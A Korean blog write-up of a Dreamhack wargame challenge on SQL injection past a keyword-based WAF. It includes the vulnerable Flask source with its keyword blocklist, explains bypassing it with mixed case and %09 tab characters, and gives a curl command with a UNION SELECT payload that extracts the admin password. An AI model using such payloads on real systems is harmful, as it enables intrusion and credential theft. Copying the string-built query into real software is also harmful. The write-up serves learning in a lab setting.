본문 바로가기

Wargame/Dreamhack

[Dreamhack] sql injection bypass WAF

sql injection bypass WAF | 워게임 | Dreamhack

 

sql injection bypass WAF

Description Exercise: SQL Injection Bypass WAF에서 실습하는 문제입니다.

dreamhack.io

 

 

 

다운받은 파일의 압축을 풀고 하나씩 열어보도록 하자.

 

 

users 데이터베이스에는 user라는 테이블이 있으며,

테이블 내부에는 idx, uid, upw 컬럼이 존재한다.

또한, “guest”, “admin” 등의 계정이 추가된 것을 확인할 수 있다.

 

코드를 보자.

 

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

입력 값으로 만들어진 쿼리를 HTML을 통해 페이지에 출력하고 실행되는 쿼리를 한 눈에 볼 수 있다.

인덱스 페이지를 구성하는 index 함수를 살펴보면, uid 파라미터를 통해 입력 값을 받고, check_WAF 함수의 인자로 전달해 특정 키워드가 포함되어 있는지 검사한다.

키워드 검사를 통과하면 실행할 쿼리에 입력 값을 직접 삽입하므로 SQL Injection 취약점이 발생하는 것이다.

 

이제 익스플로잇을 설계해보자.

 

1. 키워드 검사 우회

SQL Injection이 발생한다면 입력 가능한 값이 무엇인지 알아내야 한다.

예제에서는 check_WAF 함수에서 keywords 리스트에 포함된 모든 문자 또는 문자열을 검사하므로,

이를 사용하지 않고 공격하는 방법에 대해 모색해야 한다.

 

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True
    return False

 

 

위의 함수는 키워드 검사를 수행하는 check_WAF 함수이다.

코드를 살펴보면, 입력 값에 keywords 리스트에 포함된 모든 문자 또는 문자열이 포함되어 있는지 검사한다.

방화벽 우회 강의를 되짚어보면 MySQL DBMS는 대소문자를 구분하지 않았다.

 

키워드를 검사하는 코드를 살펴보면, keywords에 포함된 문자열만 검사하기 때문에 대소문자를 혼용하면 해당 검사를 우회할 수 있다.

그러나 공백 같은 문자는 이와 같은 방법으로 우회할 수 없다.

주석(“/**/”)과 개행(“\n”)을 공백 문자를 대신해 사용할 수 있지만 이 코드는 주석을 사용할 수 없도록 ‘/', '*’ 문자를 검사한다.

또한 주석과 개행 외에도 공백 문자를 대신할 수 있는 문자가 있다.

Tab은 16 진수로 0x09이며, URL 인코딩한 값인 %09를 전달하면 공백 문자 검사를 우회할 수 있다.

 

 

위의 화면은 공백 문자와 “admin” 문자열을 우회한 쿼리(%27Union%09Select%091,"Bypass%09WAF",1%23)를 입력한 모습이...어야 하는데 왜 그대로이지.

원래 쿼리문이 성공적으로 실행되면 keywords 리스트에 포함된 문자열을 모두 우회할 수 있다.

입력한 쿼리는 URL의 uid 파라미터에 직접 입력해야 한다.

 

2. admin 패스워드 획득

데이터베이스의 초기값을 확인해보면 “admin” 계정의 패스워드를 획득하는 것이 문제의 목표임을 알 수 있다.

앞선 과정에서 키워드 검사를 우회했다면 “admin” 계정의 패스워드를 획득하는 익스플로잇을 작성한다.

 

        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

 

위의 코드는 쿼리를 실행하고, 페이지에 결과를 출력하는 코드이다.

코드를 살펴보면, uid에 해당하는 모든 컬럼에서 두 번째 결과를 가져온다.

예를 들어, uid가 “admin”인 데이터를 조회하면 idx, uid, upw가 모두 반환되는데, 이때 두 번째 결과인 uid를 페이지에 출력한다.

따라서 admin 계정의 패스워드를 획득하기 위해서는 UNION을 이용해 새로운 SELECT 구문을 작성해 upw가 페이지에 출력되게끔 해야 한다.

 

$ curl "http://host1.dreamhack.games:10137/?uid='Union%09Select%09null,upw,null%09From%09user%09where%09uid=\"Admin\"%23"
<pre style="font-size:200%">SELECT * FROM user WHERE uid=''Union	Select	null,upw,null	From	user	where	uid="Admin"#';</pre><hr/>
<pre>DH{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>

 

위의 코드는 upw를 두 번째 결과에 포함시키는 공격 코드이다.

쿼리를 살펴보면, UNION을 통해 새로운 SELECT 구문을 작성한다.

우회하기 위한 문자를 일반 문자열로 나타내면 다음과 같다.

 

UNION SELECT NULL, upw, NULL from user where uid="admin"#

 

최종 코드는 다음과 같다.

$ curl "http://host1.dreamhack.games:10137/?uid='Union%09Select%09null,upw,null%09From%09user%09where%09uid=\"Admin\"%23"
<pre style="font-size:200%">SELECT * FROM user WHERE uid=''Union	Select	null,upw,null	From	user	where	uid="Admin"#';</pre><hr/>
<pre>DH{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>

 

저번 문제도 그렇더니 왜...자꾸 오류가 뜨는지 모르겠다.

링크 숫자가 시간 지나면 변하길래 저것도 갱신해줬는데 뭐가 문제인걸까.

 

[참고자료] [WHA] Exercise: Bypass WAF | Dreamhack

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] FFFFAAAATTT  (0) 2023.04.02
[Dreamhack] file-download-1  (0) 2022.11.21
[Dreamhack] blind sql injection advanced  (0) 2022.11.12
[Dreamhack] CSRF-2  (0) 2022.09.25
[Dreamhack] XSS-2  (0) 2022.09.20